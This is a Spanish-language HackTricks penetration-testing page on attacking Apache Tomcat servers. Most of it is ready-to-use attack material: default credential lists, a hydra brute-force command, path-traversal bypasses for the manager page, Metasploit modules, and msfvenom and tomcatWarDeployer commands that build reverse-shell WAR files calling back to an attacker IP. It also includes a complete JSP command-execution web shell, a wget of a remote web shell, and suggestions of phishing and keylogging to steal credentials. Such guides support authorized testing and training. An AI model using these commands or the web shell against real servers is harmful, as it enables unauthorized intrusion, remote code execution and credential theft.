12 KiB
Tomcat
Aprende hacking de AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Obtén la merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Grupo de Seguridad Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
Descubrimiento
- Normalmente se ejecuta en el puerto 8080
- Error común de Tomcat:
Enumeración
Identificación de la Versión
Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Ubicación de Archivos del Manager
Identificar las ubicaciones exactas de los directorios /manager
y /host-manager
es crucial, ya que sus nombres podrían ser modificados. Se recomienda realizar una búsqueda de fuerza bruta para localizar estas páginas.
Enumeración de Nombres de Usuario
Para versiones de Tomcat anteriores a la 6, es posible enumerar nombres de usuario a través de:
msf> use auxiliary/scanner/http/tomcat_enum
Credenciales predeterminadas
El directorio /manager/html
es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación básica HTTP, con credenciales comunes siendo:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Estas credenciales pueden ser probadas usando:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Otro directorio notable es /manager/status
, que muestra la versión de Tomcat y del sistema operativo, lo que facilita la identificación de vulnerabilidades.
Ataque de Fuerza Bruta
Para intentar un ataque de fuerza bruta en el directorio del administrador, se puede usar:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Vulnerabilidades Comunes
Divulgación de Rastro de Contraseña
Acceder a /auth.jsp
puede revelar la contraseña en un rastro bajo circunstancias afortunadas.
Codificación de URL Doble
La vulnerabilidad CVE-2007-1860 en mod_jk
permite la codificación de URL doble para la travesía de directorios, lo que habilita el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada.
Para acceder a la interfaz web de gestión de Tomcat, vaya a: rutaTomcat/%252E%252E/manager/html
/ejemplos
Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, enumerados de manera exhaustiva, deben ser verificados en busca de acceso no autorizado y posibles explotaciones. Encuentra más información aquí
- /ejemplos/jsp/num/numguess.jsp
- /ejemplos/jsp/dates/date.jsp
- /ejemplos/jsp/snp/snoop.jsp
- /ejemplos/jsp/error/error.html
- /ejemplos/jsp/sessions/carts.html
- /ejemplos/jsp/checkbox/check.html
- /ejemplos/jsp/colors/colors.html
- /ejemplos/jsp/cal/login.html
- /ejemplos/jsp/include/include.jsp
- /ejemplos/jsp/forward/forward.jsp
- /ejemplos/jsp/plugin/plugin.jsp
- /ejemplos/jsp/jsptoserv/jsptoservlet.jsp
- /ejemplos/jsp/simpletag/foo.jsp
- /ejemplos/jsp/mail/sendmail.jsp
- /ejemplos/servlet/HelloWorldExample
- /ejemplos/servlet/RequestInfoExample
- /ejemplos/servlet/RequestHeaderExample
- /ejemplos/servlet/RequestParamExample
- /ejemplos/servlet/CookieExample
- /ejemplos/servlet/JndiServlet
- /ejemplos/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Explotación de Travesía de Ruta
En algunas configuraciones vulnerables de Tomcat puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: /..;/
Por ejemplo, podrías acceder a la página del administrador de Tomcat accediendo a: www.vulnerable.com/lalala/..;/manager/html
Otra forma de evadir rutas protegidas usando este truco es acceder a http://www.vulnerable.com/;param=value/manager/html
RCE
Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes cargar e implementar un archivo .war (ejecutar código).
Limitaciones
Solo podrás implementar un WAR si tienes suficientes privilegios (roles: admin, manager y manager-script). Esos detalles se pueden encontrar en tomcat-users.xml generalmente definido en /usr/share/tomcat9/etc/tomcat-users.xml
(varía entre versiones) (ver sección POST).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
Shell inverso MSFVenom
- Crear el archivo war para desplegar:
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
Sube el archivo revshell.war
y accede a él (/revshell/
):
Conexión de shell de enlace y reversa con tomcatWarDeployer.py
En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)
Descargar
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Shell inverso
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Shell de conexión
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Usando Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Método manual - Web shell
Cree index.jsp con este contenido:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Método Manual 2
Obtenga un shell web JSP como este y cree un archivo WAR:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
El nombre del archivo de credenciales de Tomcat es tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Otras formas de recopilar credenciales de Tomcat:
-
Brute Force Attack (Ataque de Fuerza Bruta): Un método común para adivinar contraseñas probando diferentes combinaciones de usuario y contraseña.
-
Phishing (Suplantación de Identidad): Enviar correos electrónicos falsos haciéndose pasar por una entidad legítima para engañar a los usuarios y obtener sus credenciales.
-
Social Engineering (Ingeniería Social): Manipular psicológicamente a las personas para que revelen información confidencial, como contraseñas.
-
Exploiting Default Credentials (Explotar Credenciales Predeterminadas): Intentar acceder a Tomcat utilizando las credenciales predeterminadas que vienen con la instalación estándar.
-
Keylogging (Registro de Teclas): Instalar un software espía en el sistema de la víctima para registrar las pulsaciones de teclas y capturar las credenciales introducidas.
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Otras herramientas de escaneo de tomcat
Referencias
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión del PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén la merchandising oficial de PEASS & HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.